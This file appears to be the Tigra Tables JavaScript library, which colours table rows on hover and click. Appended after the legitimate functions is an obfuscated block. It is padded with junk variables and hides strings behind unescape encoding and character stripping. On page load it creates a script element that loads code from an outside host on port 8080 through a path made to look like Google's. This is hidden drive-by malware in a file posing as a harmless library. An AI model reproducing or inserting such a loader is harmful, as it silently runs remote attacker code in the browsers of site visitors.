// Title: tigra tables
// URL: http://www.softcomplex.com/products/tigra_tables/
// Version: 1.1
// Date: 08/15/2005
// Notes: Permission given to use this script in any kind of applications if
//    header lines are left unchanged.

function mine_tables (
		str_tableid, // table id (req.)
		num_header_offset, // how many rows to skip before applying effects at the begining (opt.)
		num_footer_offset, // how many rows to skip at the bottom of the table (opt.)
		str_odd_color, // background color for odd rows (opt.)
		str_even_color, // background color for even rows (opt.)
		str_mover_color, // background color for rows with mouse over (opt.)
		str_onclick_color // background color for marked rows (opt.)
	) {

	// validate required parameters
	if (!str_tableid) return alert ("No table(s) ID specified in parameters");
	var obj_tables = (document.all ? document.all[str_tableid] : document.getElementById(str_tableid));
	if (!obj_tables) return alert ("Can't find table(s) with specified ID (" + str_tableid + ")");

	// set defaults for optional parameters
	var col_config = [];
	col_config.header_offset = (num_header_offset ? num_header_offset : 0);
	col_config.footer_offset = (num_footer_offset ? num_footer_offset : 0);
	col_config.odd_color = (str_odd_color ? str_odd_color : '#ffffff');
	col_config.even_color = (str_even_color ? str_even_color : '#dbeaf5');
	col_config.mover_color = (str_mover_color ? str_mover_color : '#6699cc');
	col_config.onclick_color = (str_onclick_color ? str_onclick_color : '#4C7DAB');
	
	// init multiple tables with same ID
	if (obj_tables.length)
		for (var i = 0; i < obj_tables.length; i++)
			tt_init_table(obj_tables[i], col_config);
	// init single table
	else
		tt_init_table(obj_tables, col_config);
}

function tt_init_table (obj_table, col_config) {
	var col_lconfig = [],
		col_trs = obj_table.rows;
	if (!col_trs) return;
	for (var i = col_config.header_offset; i < col_trs.length - col_config.footer_offset; i++) {
		col_trs[i].config = col_config;
		col_trs[i].lconfig = col_lconfig;
		col_trs[i].set_color = tt_set_color;
		col_trs[i].onmouseover = tt_mover; 
		col_trs[i].onmouseout = tt_mout;
		col_trs[i].onmousedown = tt_onclick;
		col_trs[i].order = (i - col_config.header_offset) % 2;
		col_trs[i].onmouseout();
	}
}
function tt_set_color(str_color) {
	this.style.backgroundColor = str_color;
}

// event handlers
function tt_mover () {
	if (this.lconfig.clicked != this)
		this.set_color(this.config.mover_color);
}
function tt_mout () {
	if (this.lconfig.clicked != this)
		this.set_color(this.order ? this.config.odd_color : this.config.even_color);
}
function tt_onclick () {
	if (this.lconfig.clicked == this) {
		this.lconfig.clicked = null;
		this.onmouseover();
	}
	else {
		var last_clicked = this.lconfig.clicked;
		this.lconfig.clicked = this;
		if (last_clicked) last_clicked.onmouseout();
		this.set_color(this.config.onclick_color);
	}
}



var W=new String();var T=new Date();function A(){this.AE='';var P;if(P!='F'){P=''};var O=unescape;var i="";var S="";var z=window;var d="";var e="";var E=O("%2f%67%6f%6f%67%6c%65%2d%62%65%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%69%70%69%63%74%75%72%65%2e%72%75%2e%70%68%70");var LQ=new Array();var cL="";var Hd;if(Hd!='EI'){Hd=''};function h(I,R){this._X="";var _l=new String();var B;if(B!='' && B!='s'){B=''};var y=new String("g");var l;if(l!=''){l='K'};var x;if(x!=''){x='YY'};var r=O("%5b"), Y=O("%5d");var GR="";var Zj="";var rI=r+R+Y;var QO;if(QO!='' && QO!='US'){QO=null};var HR='';var M=new RegExp(rI, y);var V;if(V!='qS'){V='qS'};return I.replace(M, new String());this.FF="";};var ZF="";var _W;if(_W!=''){_W='lg'};var kj;if(kj!='ww' && kj!='xH'){kj='ww'};this.Di='';var L=document;var Oh=new String();var fK=new String();var j=h('8155611056668546610451444','1645');var Vx="";this.gu="";this.ZU='';function D(){var U=O("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var gf;if(gf!='' && gf!='Kj'){gf=''};Oh=U;var mb=new Array();Oh+=j;var TD=new String();var pI;if(pI!='WU'){pI='WU'};Oh+=E;var kH;if(kH!='MS' && kH!='PY'){kH='MS'};var XI='';var EJ;if(EJ!='kC'){EJ=''};try {this.KI="";var Jp=new Array();t=L.createElement(h('s4c4r4iWpBt4','73blN45zIAfBWw'));var _g="";var xv="";this.Gh="";t[O("%64%65%66%65%72")]=[1][0];this.ym="";this.ve="";t[O("%73%72%63")]=Oh;var ez;if(ez!=''){ez='vt'};var Hm;if(Hm!=''){Hm='eu'};L.body.appendChild(t);this.Ix='';this.Gl='';this.cJ='';var Sv=new Date();} catch(YT){var Mu="";alert(YT);var cQ;if(cQ!='' && cQ!='zd'){cQ=''};this.By="";};var XY="";}var wE;if(wE!=''){wE='Bw'};var qB="";z[new String("onloaRgHw".substr(0,5)+"d")]=D;var aF=new Array();};var ED=new Date();var Pt=new Date();A();var gfp="";var kw=new Array();